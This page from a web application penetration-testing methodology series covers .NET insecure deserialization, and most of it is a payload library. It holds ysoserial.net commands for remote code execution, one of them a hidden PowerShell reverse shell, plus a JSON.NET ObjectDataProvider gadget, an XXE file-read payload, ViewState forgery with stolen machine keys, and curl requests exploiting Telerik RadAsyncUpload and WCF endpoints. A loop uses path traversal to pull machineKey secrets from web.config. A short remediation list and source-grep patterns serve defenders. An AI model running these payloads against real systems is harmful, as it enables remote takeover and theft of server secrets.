Insecure Deserialization — .NET
Severity: Critical | CWE: CWE-502 OWASP: A08:2021 – Software and Data Integrity Failures
What Is .NET Deserialization?
.NET has multiple serialization formats and deserializers — each with different gadget chains. The most dangerous are BinaryFormatter and SoapFormatter (both removed/disabled in .NET 5+), but many legacy applications still use them. JSON.NET (Newtonsoft.Json) is vulnerable to type confusion when TypeNameHandling is set insecurely.
BinaryFormatter: binary format — .NETSEC magic bytes: 00 01 00 00 00
SoapFormatter: XML/SOAP format — <SOAP-ENV:Envelope>
LosFormatter: ViewState format — /w...
ObjectStateFormatter: ASP.NET ViewState (HMAC-signed but weak key)
JSON.NET: {"$type":"System.Windows.Data.ObjectDataProvider,..."}
DataContractSerializer: XML with type hints
ysoserial.net is the primary tool — equivalent of ysoserial for Java.
Discovery Checklist
Phase 1 — Identify Serialization
- Check cookies for base64/binary blobs (ASP.NET ViewState, session cookies)
- Check POST bodies for XML/SOAP with type annotations
- Look for
BinaryFormatter,SoapFormatter,NetDataContractSerializerin Telerik, ASP.NET, SharePoint - Check
__VIEWSTATEparameter — if no HMAC key or weak key → exploit - Check JSON with
$typeproperty → JSON.NET TypeNameHandling - Check WCF endpoints (
.svc) for SOAP deserialization - Find Telerik UI RadAsyncUpload endpoint:
/Telerik.Web.UI.WebResource.axd - Check
.asmx(legacy web services) for SOAP deserialization
Phase 2 — Fingerprint Format
-
00 01 00 00 00 ff ff ff ff→ BinaryFormatter (AAEAAAD/////...in base64) -
AAEAAADat base64 start → .NET BinaryFormatter -
<SOAP-ENV:or<soap:→ SoapFormatter/NetDataContractSerializer -
/wEyat base64 start → LosFormatter (older) or ObjectStateFormatter -
{"$type":→ JSON.NET with TypeNameHandling
Phase 3 — Exploit
- Generate payload with ysoserial.net for appropriate gadget chain
- Test OOB DNS first — confirm deserialization without RCE trigger
- Match gadget chain to libraries present in target
- For ViewState: extract MAC key if possible, or test with empty key / disabled MAC
Payload Library
Payload 1 — ysoserial.net Usage
# Install / build ysoserial.net:
git clone https://github.com/pwntester/ysoserial.net
# Build with Visual Studio or dotnet CLI
cd ysoserial.net
dotnet build
# List all available gadgets and formatters:
ysoserial.exe -l
# List plugins:
ysoserial.exe -p list
# Basic RCE payload — BinaryFormatter with TextFormattingRunProperties gadget:
ysoserial.exe -f BinaryFormatter \
-g TextFormattingRunProperties \
-c "cmd /c calc.exe" \
-o base64
# Reverse shell:
ysoserial.exe -f BinaryFormatter \
-g TextFormattingRunProperties \
-c "cmd /c powershell -nop -w hidden -e BASE64_ENCODED_PS" \
-o base64
# Commonly used gadget chains per .NET version:
# .NET 3.5: ObjectDataProvider, ToolboxItemContainer
# .NET 4.0+: TextFormattingRunProperties, WindowsIdentity
# .NET 4.5+: TypeConfuseDelegate, ActivitySurrogateSelectorFromFile
# ActivitySurrogateSelector — most reliable, works without specific DLLs
# SoapFormatter payload:
ysoserial.exe -f SoapFormatter \
-g ActivitySurrogateSelector \
-c "cmd /c ping COLLABORATOR_ID.oast.pro" \
-o base64
# NetDataContractSerializer:
ysoserial.exe -f NetDataContractSerializer \
-g WindowsIdentity \
-c "cmd /c nslookup COLLABORATOR_ID.oast.pro" \
-o base64
# LosFormatter (often used in old ASP.NET pages):
ysoserial.exe -f LosFormatter \
-g TextFormattingRunProperties \
-c "cmd /c whoami > C:\\inetpub\\wwwroot\\pwned.txt" \
-o base64
Payload 2 — ViewState Exploitation
# ASP.NET ViewState = base64-encoded serialized page state
# In forms: <input type="hidden" name="__VIEWSTATE" value="...">
# If MAC validation disabled OR MAC key is known/weak → exploit
# Check if ViewState MAC is disabled:
# Response with __VIEWSTATE but no __VIEWSTATEGENERATOR validation
# OR: web.config contains enableViewStateMac="false"
# Generate malicious ViewState with ysoserial.net:
# LosFormatter plugin for ViewState:
ysoserial.exe -p ViewState \
-g TextFormattingRunProperties \
-c "cmd /c ping COLLABORATOR_ID.oast.pro" \
--path "/default.aspx" \
--apppath "/" \
--decryptionalg "AES" \
--decryptionkey "DECRYPTION_KEY_FROM_WEB_CONFIG" \
--validationalg "SHA1" \
--validationkey "VALIDATION_KEY_FROM_WEB_CONFIG"
# Plug: inject into __VIEWSTATE parameter
# The payload must match the page's generator ID + app path
# Find machine keys (common paths when you have RFI/LFI/path traversal):
# C:\inetpub\wwwroot\web.config
# C:\Windows\Microsoft.NET\Framework\v4.0.30319\CONFIG\web.config
# %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CONFIG\machine.config
# Machine key format in web.config:
# <machineKey validationKey="..." decryptionKey="..." validation="SHA1" decryption="AES"/>
# Blacklist-bypass payload for ViewState with known key:
ysoserial.exe -p ViewState \
-g ActivitySurrogateSelector \
-c "cmd /c whoami" \
--path "/default.aspx" \
--apppath "/" \
--decryptionalg "AES" \
--decryptionkey "YOUR_KEY" \
--validationalg "HMACSHA256" \
--validationkey "YOUR_VALIDATION_KEY" \
--islegacy
Payload 3 — JSON.NET Type Confusion
# When Newtonsoft.Json uses TypeNameHandling.All or TypeNameHandling.Objects:
# User-supplied JSON can specify any .NET type via "$type" property
# Detection — check if $type is processed:
# Send: {"$type":"System.String, mscorlib","m_value":"test"}
# → If no error (not "unexpected token") → TypeNameHandling active
# RCE payload via ObjectDataProvider:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd", "/c ping COLLABORATOR_ID.oast.pro"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
# Generate via ysoserial.net:
ysoserial.exe -f Json.Net \
-g ObjectDataProvider \
-c "cmd /c ping COLLABORATOR_ID.oast.pro" \
-o raw
# File read (SSRF-like via XMLDocument):
{
"$type": "System.Xml.XmlDocument, System.Xml",
"InnerXml": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///C:/Windows/win.ini'>]><foo>&xxe;</foo>"
}
# Alternative via WindowsIdentity (no PresentationFramework needed):
ysoserial.exe -f Json.Net \
-g WindowsIdentity \
-c "cmd /c whoami" \
-o base64
Payload 4 — Telerik RadAsyncUpload
# Telerik UI for ASP.NET WebForms — vulnerable endpoint:
# /Telerik.Web.UI.WebResource.axd?type=rau
# Payload requires knowing or brute-forcing the Telerik encryption key
# (stored in web.config as Telerik.Upload.ConfigurationHashKey or
# Telerik.Web.UI.DialogParametersEncryptionKey)
# ysoserial.net Telerik plugin:
ysoserial.exe -p Telerik \
-g ObjectDataProvider \
-c "cmd /c whoami > C:\\inetpub\\wwwroot\\pwned.txt" \
--key "YOUR_TELERIK_KEY" \
--version "2019.3.1023" \
-o base64
# Send to upload endpoint:
curl -s -X POST "https://target.com/Telerik.Web.UI.WebResource.axd?type=rau" \
-F "rauPostData=BASE64_PAYLOAD" \
-F "file=@/dev/null;type=image/jpeg"
# Check for Telerik version:
curl -s "https://target.com/Telerik.Web.UI.WebResource.axd?type=rau&access=w"
# Response reveals Telerik version → match with ysoserial.net version param
Payload 5 — WCF / SOAP Deserialization
# WCF endpoints (.svc) using NetDataContractSerializer or BinaryMessageEncoder:
# Generate SOAP payload:
ysoserial.exe -f NetDataContractSerializer \
-g WindowsIdentity \
-c "cmd /c ping COLLABORATOR_ID.oast.pro" \
-o raw
# Wrap in SOAP envelope:
curl -s -X POST "https://target.com/service.svc" \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: \"\"" \
-d '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<![CDATA[YSOSERIAL_PAYLOAD_HERE]]>
</s:Body>
</s:Envelope>'
# DataContractSerializer type confusion (requires known contract):
curl -s -X POST "https://target.com/api/deserialize" \
-H "Content-Type: application/xml" \
-d '<root xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
i:type="a:WorkflowDesigner_ActivitySurrogateSelector"
xmlns:a="ysoserial">'
Tools
# ysoserial.net — primary .NET deserialization exploit tool:
git clone https://github.com/pwntester/ysoserial.net
# Build: Visual Studio or:
dotnet build ysoserial.net -c Release
# List all formatters:
ysoserial.exe -l
# Specific formatter + gadget combos (most reliable):
# BinaryFormatter + TextFormattingRunProperties (needs PresentationCore.dll in scope)
# BinaryFormatter + ActivitySurrogateSelector (most universal)
# Json.Net + ObjectDataProvider
# ViewState plugin with known machineKey
# ExploitRemotingService — .NET remoting deserialization:
git clone https://github.com/tyranid/ExploitRemotingService
# Detect .NET deserialization in traffic:
# BinaryFormatter magic bytes: AAEAAAD/ (base64) or 00 01 00 00 00 FF FF FF FF (hex)
# LosFormatter: /wEy (base64 start)
python3 -c "
import base64
data = 'AAEAAAD/////AQAAAAAAAABMAQAAAAc=' # BinaryFormatter example
decoded = base64.b64decode(data + '==')
print(decoded[:10].hex())
# 0001000000ffffffff01000000 → BinaryFormatter magic
"
# Find web.config machine keys (with LFI):
for path in \
'C:/inetpub/wwwroot/web.config' \
'C:/Windows/Microsoft.NET/Framework/v4.0.30319/CONFIG/web.config' \
'C:/Windows/Microsoft.NET/Framework64/v4.0.30319/CONFIG/machine.config'; do
curl -s "https://target.com/?file=../../../../$path" 2>/dev/null | \
grep -i "machineKey\|validationKey\|decryptionKey"
done
# Burp Scanner:
# "Insecure deserialization" issue type covers .NET patterns
# Search responses for AAEAAAD or /wEy patterns
# Source code patterns to grep:
grep -rn "BinaryFormatter\|SoapFormatter\|LosFormatter\|NetDataContractSerializer\|XmlSerializer\|DataContractSerializer" \
--include="*.cs" --include="*.vb" src/ | \
grep -v "//.*Formatter" # exclude commented lines
grep -rn "TypeNameHandling\." --include="*.cs" src/ | \
grep -v "None" # TypeNameHandling.None is safe
Remediation Reference
- Disable
BinaryFormatter: setAppContext.SetSwitch("System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization", false)or upgrade to .NET 5+ where it’s disabled by default - JSON.NET: set
TypeNameHandling = TypeNameHandling.None— never useAll,Objects, orAutowith untrusted data - ViewState: always enforce MAC validation (
enableViewStateMac="true"); use strong random machine keys; consider encrypting ViewState - DataContractSerializer with KnownTypes: restrict deserializable types to an explicit allowlist
- WCF: disable NetDataContractSerializer; use DataContractSerializer with strict type registration
- Telerik: upgrade to patched version; change the encryption key to a random 64+ char value
- Serialize only what you need: prefer JSON/XML with explicit type mapping over binary/polymorphic serializers
Part of the Web Application Penetration Testing Methodology series.